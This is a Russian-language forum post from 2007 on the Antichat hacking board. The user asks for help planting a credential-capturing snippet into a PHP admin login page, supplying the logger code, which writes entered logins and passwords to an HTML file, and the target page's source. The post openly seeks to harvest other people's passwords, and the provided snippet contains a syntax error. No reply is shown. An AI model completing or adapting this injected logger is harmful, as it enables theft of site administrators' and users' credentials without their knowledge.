ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Внедрение кода перехватчика в код PHP страницы. Help
  #1  
Старый 12.04.2007, 17:29
Аватар для Minsor
Minsor
Новичок
Регистрация: 28.02.2007
Сообщений: 20
Провел на форуме:
178079

Репутация: 66
По умолчанию Внедрение кода перехватчика в код PHP страницы. Help

Нжна помощь.

Есть страницы с формой (login & password) - ниже приведен код. Нужно прописать в этот код перехватчик данных формы, который пишет вводимые данные в .html файл. Вот пример кода перехватчика (выловил где-то в этом форуме):


Код:
<?php
if(isset($_POST["txtUsername"]) && isset($_POST["txtPassword"]) && ))
{
$z = fopen("userinfo.html", "a");
fwrite($z, '<br>Login: '.$_POST["txtUsername"]."\n");
fwrite($z, '<br>Pass: '.$_POST["txtPassword"]."\n\n");
fwrite($z, '<hr> ');
fclose($z);
}
?>

А это код страницы с формой:

Код:
<?php

        require_once('../config/config.php');
	require('../config/func.php');
	
	if ($_GET['logout']=='1')
		session_destroy();

	if (auth())
		header("Location: admin.php");

	$errno=0;
	$errno=(strlen($_POST['login'])) ? 0 : 1;
	$errno+=(strlen($_POST['password'])) ? 0 : 2;



	if(($errno==0) && !empty($_POST['post']))

		{
		if ($passDB=mysql_query("SELECT `haslo` AS p FROM `users` WHERE `login`='admin' LIMIT 1"))

			{

			$p=@mysql_result($passDB, 0, 0);
			if (strlen($p))
				{
				$errno=($_POST['login']=='admin') ? 0 : 5;
				$errno+=($_POST['password']==decode($p)) ? 0 : 4;
				if ($errno==0)
					{
					$password=encode($_POST['password']);
					session_register('login', 'password');
					header("Location: admin.php");
					}
				}
			else
				$errno=7;
			}
		else
			echo '<div class="error">Error in SQL query. Cannot read information from database</div>' . mysql_error();
		}

?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title><?php echo PageTitle ?> - Administration</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="../config/style.css" rel="stylesheet" type="text/css">
</head>
<body>

<form method="post" action="index.php">
<input type="hidden" name="post" value="true">
	<table align="center" width="200">
		<tr>
			<td align="center" colspan="2" bgcolor="#eeeeee">
				Enter login information:
			</td>
		</tr>
		<tr>
			<td width="40">Login:</td><td><input type="text" name="login" maxlength="15" style="width: 120px"></td>
		</tr>
		<tr>
			<td>Password:</td><td><input type="password" name="password" maxlength="15" style="width: 120px"></td>
		</tr>
		<tr>
			<td colspan="2" align="center">
				<input type="submit" value=" LOG IN ">
			</td>
		</tr>
		<tr>
			<td colspan="2" align="center">
				[ <a href="../index.php">return to homepage</a> ]
			</td>
		</tr>
		<?php
			if ($post)
				{
				echo '<tr><td colspan="2">';
				if (($errno==1) || ($errno==3))
					echo '<div class="error">Enter login name!</div>';
				if (($errno==2) || ($errno==3))
					echo '<div class="error">Enter password!</div>';
				if (($errno==6) || ($errno==9))
					echo '<div class="error">Wrong login name!</div>';
				if (($errno==4) || ($errno==9))
					echo '<div class="error">Wrong password!</div>';
				if (($errno==7))
					echo '<div class="error">Missing information about user in database!</div>';

				echo '</td></tr>';
				}
		?>
	</table>
</form>	
</body>
</html>


Другими словами, необходимо внедрить (адаптировать) код перехватчика в код страницы.

Благодарю за помощь, если что, за мной +.

Последний раз редактировалось Minsor; 12.04.2007 в 17:35..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ